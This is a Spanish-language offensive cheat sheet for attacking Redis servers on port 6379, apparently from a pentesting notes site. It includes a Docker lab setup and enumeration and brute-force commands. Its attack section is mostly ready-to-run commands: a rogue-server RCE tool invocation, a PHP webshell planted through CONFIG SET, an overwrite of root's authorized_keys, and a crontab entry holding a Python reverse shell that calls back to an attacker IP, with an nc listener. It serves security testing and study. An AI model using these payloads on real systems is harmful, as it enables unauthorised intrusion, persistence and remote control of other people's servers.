6379 - Redis

Redis (Remote Dictionary Server) es un almacén de estructura de datos de clave-valor en memoria rápido y de código abierto.

Es utilizado por millones de desarrolladores como base de datos, caché, motor de streaming y agente de mensajes.

Laboratorio

Para poder realizar pruebas contra un entorno de redis de forma fácil, se puede utilizar un contenedor de docker:

sudo docker run -d --name redis -p 6379:6379 redis

La herramienta que utilizaremos para conectarnos "redis-cli" se encuentra en el paquete de "redis-tools":

sudo apt install redis-tools -y

Conexión al redis:

redis-cli -h 127.0.0.1

Conexión al contenedor de docker:

sudo docker exec -it redis sh

Para la explotación de múltiples vulnerabilidades, es necesario que existan varios elementos comunes en entorno de producción. Para ello, dentro del contenedor se ejecutarán los siguientes comandos:

mkdir -p /root/.ssh

Enumeración

Se puede comprobar de diferentes formas si un servidor cuenta con el puerto 6379 abierto y si en este está siendo ejecutado el servicio de Redis.

  • Nmap:

IP=192.168.1.222
sudo nmap --script=redis-info -sV -p 6379 $IP
  • Telnet:

IP=192.168.1.222
telnet $IP 6379
  • Netcat:

IP=192.168.1.222
nc -vn $IP 6379
  • Redis-cli:

IP=192.168.1.222
redis-cli -h $IP -p 6379
  • Metasploit:

use auxiliary/scanner/redis/redis_server
set RHOSTS 192.168.1.222

Si el servidor no cuenta con autenticación, se podrán ejecutar múltiples comandos con el objetivo de enumerar información del servidor, e incluso, llegar a obtener ejecución de código en el servidor.

Conexión

IP=192.168.1.222
PORT=6379
PASS=<contraseña>
redis-cli -h $IP -p $PORT
redis-cli -h $IP -p $PORT -a $PASS

Autenticación

Por defecto, Redis no cuenta con autenticación, esta puede (y debe) ser establecida posteriormente, bien con autenticación:

  • usuario+contraseña.

  • Solo contraseña. En el este caso, el usuario por defecto será default.

Para autenticarse en redis, se puede utilizar el siguiente comando:

AUTH <usuario> <contraseña>

Comandos de redis

Algunos comandos comunes para enumerar información del servidor:

INFO
client list
CONFIG GET *

Crear una clave-valor y obtener el valor de una clave:

keys *
set <nombre de la clave> <valor de la clave>
get <nombre de la clave>
type <nombre de la clave>

Para una mejor comprensión de los comandos, será mejor consultar la documentación:

Rutas interesantes

/var/www/html
/home/redis/.ssh
/root/.ssh
/var/lib/redis/.ssh
/var/spool/cron/crontabs
/var/spool/cron

Ataques sin autenticación

Para conseguir ejecución de código remoto en un servidor redis, primero se deberá conseguir acceso al servicio.

Conexión directa

Bien porque no cuenta con credenciales, o porque se han obtenido credenciales por otros medios.

Más info aquí -> [Aquí]

Fuerza bruta

  • nmap:

sudo nmap --script redis-brute -p 6379 $IP
  • metasploit:

use auxiliary/scanner/redis/redis_login
set RHOSTS <IP>
ComandoDescripción

info

Muestra los información y datos del servidor.

select <n>

Selecciona una base de datos que utilizar. Por defecto, Redis tiene 16 bases de datos disponibles (0 - 15), siendo 0 la utilizada normalmente.

keys <pattern>

Muestra todas las claves que coincidan con la expresión regular indicada.

type <clave>

Muestra el tipo del valor almacenado en la clave.

get <clave>

Muestra la clave

hgetall <clave>

Muestra todos los pares campo/valor almacenados en la clave hash.

hget <campo> <valor>

Obtener el valor del campo especificado en la clave hash.

Ataques con autenticación

Redis (<=5.X) RCE

Para ello, se pueden utilizar las herramientas:

IP=<IP de redis>
ATIP=<IP del atacante>
python3 redis-rogue-server.py --rhost=$IP --rport=$PORT --lhost $ATPI
use exploit/linux/redis/redis_replication_cmd_exec
set RHOSTS <IP>

Webshell

Si el mismo servidor aloja una aplicación web, se podrá intentar subir una webshell.

Algunas rutas comunes son: Alojamiento de la aplicación web

config set dir /var/www/html/
config set dbfilename shell.php
set test "<?php echo system($_GET['cmd']); ?>"
save

Se pueden consultar otras opciones de webshells en: PHP

curl http://<IP del redis>/shell.php?cmd=whoami

SSH

Sobreescribe el fichero authorized_keys

  1. Manual.

  2. Automatizado.

Método 1 - Manual

Este método sobreescribe el fichero de authorized_keys, por lo que, no debería utilizarse en entornos de producción.

  1. Se crea una clave privada y pública:

ssh-keygen -t rsa
  1. Crear un fichero con la clave pública creada:

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > public_key.txt
  1. Copiar la clave pública en el servidor de redis:

IP=<IP de redis>
cat public_key.txt | redis-cli -h $IP -x set ssh_key
  1. Almacenar la clave pública en el fichero authorized_keys.

redis-cli -h 192.168.1.222 config set dir /root/.ssh
redis-cli -h 192.168.1.222 config set dbfilename "authorized_keys"
redis-cli -h 192.168.1.222 save
  1. Acceder vía SSH con la clave privada:

ssh -i id_rsa redis@192.168.1.222

Método 2 - Automatizado

Se puede realizar de forma automatizada con la herramienta:

Crontab

Primero, dejaremos el puerto de recepción a la escucha:

sudo rlwrap nc -lnvp 80

Este comando contiene un crontab que al ejecutarse devuelve una reverse shell con python. Habrá que modificar la IP y puerto de recepción (como siempre, preferiblemente los puertos 80 y 443):

echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<IP atacante>\",<Puerto a la escucha>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"

Añadir el comando anterior, previamente modificados y ejecutarlo para añadir el valor en la clave "1" que se creará en redis:

<comando anterior> | redis-cli -h $IP -x set 1

Se crea el fichero que, al llegar a ejecutarse, nos devolverá la shell:

redis-cli -h 192.168.1.222 config set dir /var/spool/cron/crontabs/
redis-cli -h 192.168.1.222 config set dbfilename root
redis-cli -h 192.168.1.222 save

Referencias

Última actualización